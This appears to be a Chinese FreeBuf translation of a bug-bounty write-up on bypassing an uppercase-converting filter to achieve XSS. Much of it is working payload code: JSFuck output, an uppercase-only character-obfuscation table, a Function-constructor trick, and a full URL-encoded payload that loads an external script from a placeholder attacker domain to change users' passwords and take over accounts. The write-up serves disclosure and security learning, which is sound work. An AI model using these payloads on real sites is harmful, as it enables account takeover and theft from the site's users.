freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

如何绕过大写过滤器实现XSS攻击
白帽汇 2019-10-15 19:07:29 177936

22.jpg

虽然我们不是在安全公司工作,但喜欢参加Hackerone上的漏洞悬赏项目,喜欢寻找漏洞。

而最近发现的漏洞让我感觉javascript代码中的注入漏洞的确会让人防不胜防。

我们在目标网站上找到了一个和XSS有关的漏洞,其中网页涉及到某种谷歌分析代码,可通过URL进行XSS攻击。

http://website.com/dir/subdir

以上URL的后半部分会直接出现在javascript代码中:

function("/DIR/SUBDIR",params);

通过使用Burp suite,我尝试在URL末尾添加-alert(1)-来进行攻击,即[http://website.com/dir/subdir/](http://website.com/dir/subdir/)"-alert(1)-"

33.png

结果浏览器告诉我们找不到函数ALERT(1),看来GET参数会被转换为大写。

然后我们开始测试网站过滤器到底会过滤什么内容,结果发现</script>//\. 会受到影响,但是其他敏感字符东西"'[]{}并不会。

所以,我们需要利用这些白名单字符构建payload。很快我们便想到了jsfuck.com网站,不过它生成的payload虽然可以绕过大写过滤器,但太长了。

44.png

同时,需要说明的是,在Hackerone的悬赏项目中,如果只是执行alert(1),那么只能算是一个低级XSS(奖励较低)。我们希望将此漏洞的等级升级为高或严重,这就需要证明漏洞可加载外部JS文件,且在和用户无任何交互的情况下就可执行任意Web操作。

以下是一个用于WordPress的payload,我们希望能往目标注入类似于这个payload的外部脚本,非法更改帐户密码或email。

55.png

而在JsFuck网站中,一个简单的alert(1)会被转换为如下代码:

"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"

这真是又丑又长。如果我想使用alert(document.cookie),则最终的payload会超过13000个字符。但是,我发现一旦给目标服务器发送的字符数超出了2700个,Web服务就会返回Error 400。看来我们需要改善这种混淆方式,缩减它的长度。

先让我们看看JsFuck是如何工作的(字符间的对应关系)。

const SIMPLE = {
    'false':      '![]',
    'true':       '!0',
    'undefined':  '0[0]',
    'NaN':        '+[!0]',
    'Infinity':   '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"
  };
const CONSTRUCTORS = {
    'Array':    '[]',
    'Number':   '(+0)',
    'String':   '([]+[])',
    'Boolean':  '(!0)',
    'Function': '[]["fill"]',
    'RegExp':   'Function("return/"+0+"/")()'
  };
const MAPPING = {
    'a':   '(false+"")[1]',
    'b':   '([]["entries"]()+"")[2]',
    'c':   '([]["fill"]+"")[3]',
    'd':   '(undefined+"")[2]',
    'e':   '(true+"")[3]',
    'f':   '(false+"")[0]',
    'g':   '(false+[0]+String)[20]',
    'h':   '(+(101))["to"+String["name"]](21)[1]',
    'i':   '([false]+undefined)[10]',
    'j':   '([]["entries"]()+"")[3]',
    'k':   '(+(20))["to"+String["name"]](21)',
    'l':   '(false+"")[2]',
    'm':   '(Number+"")[11]',
    'n':   '(undefined+"")[1]',
    'o':   '(true+[]["fill"])[10]',
    'p':   '(+(211))["to"+String["name"]](31)[1]',

我开始尝试在Chrome上执行其中一部分代码,看看它是如何工作的。

66.png

基本上,我们可以从不同类型的变量中获取字符,特别是从falsetrueundefinedNaNInfinity等获取小写字母。

最终,我在没有使用小写字母的情况下得出了自制的混淆转换表。

Á=![]; //false
É=!![]; //true 
Í=[][[]]; //undefined
Ó=+[![]]; //NaN
SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity
ST=([]+[]); //
Ü=(+[]);
A=(Á+"")[1];
D=(Í+"")[2];
E=(É+"")[3];
F=(Á+"")[0];
G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];
I=([Á]+Í)[10];
L=(Á+"")[2];
T=(É+"")[0];
O=(É+[][F+I+L+L])[10];
R=(É+"")[1];
N=(Í+"")[1];
M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];
P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];
S=(Á+"")[3];
U=(Í+"")[0];
V=(+(31))[T+O+"S"+T+R+I+N+G](32);
X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];
Y=(Ó+[SI])[10];
Z=(+(35))[T+O+"S"+T+R+I+N+G](36);
C=([][F+I+L+L]+"")[3];
H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];
K=(+(20))[T+O+"S"+T+R+I+N+G](21);
W=(+(32))[T+O+"S"+T+R+I+N+G](33);
J=([][E+N+T+R+I+E+S]()+"")[3];
B=([][E+N+T+R+I+E+S]()+"")[2];

同时我还需要斜线和圆点。首先我们可以从浮点数1.1e+101得到圆点。

77.png

好的,现在我还缺/g。此时我决定用jsfuck生成这两个字符,为此我牺牲了1200个字符,但之前的paylaod大约是500-800字符,所以最后的payload长度(还包含些其他代码)在服务器允许的范围内。

现在让我们试试执行混淆后的代码。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();

以上代码实际对应fill.constructor(alert(1))。是的,我只用大写字母就执行了javascript!

希望目标网站使用了jquery,此外如果加载到HTML代码的末尾,则注入payload后会返回未找到函数。我们必须等待3秒,等所有依赖项加载完成再用$.getscript加载外部JS文件。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();

88.png

它成功了!3秒后我收到了请求!

最后对payload进行URL编码,得到的最终payload是(长度为2500多):

%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22

最后我们成功加载了外部JS脚本,它的作用是更改用户名密码!实现帐户接管!就这样我把一个低危XSS漏洞变成了高危XSS漏洞。奖励也从50美元变成了1000美元,翻了20倍!

在此特别感谢Martin Kleppe,没有他的发现,我们是不可能得到这个奖励的。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3047.html
来源:https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
# xss # javascript
本文为 白帽汇 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
白帽汇
白帽汇 LV.4
北京白帽汇科技有限公司
  • 248 文章数
  • 70 关注者
SRVLOC协议与端口扫描
2021-12-07
基于Docker的固件模拟
2020-05-20
第四期 |“有趣”的FOFA
2020-03-19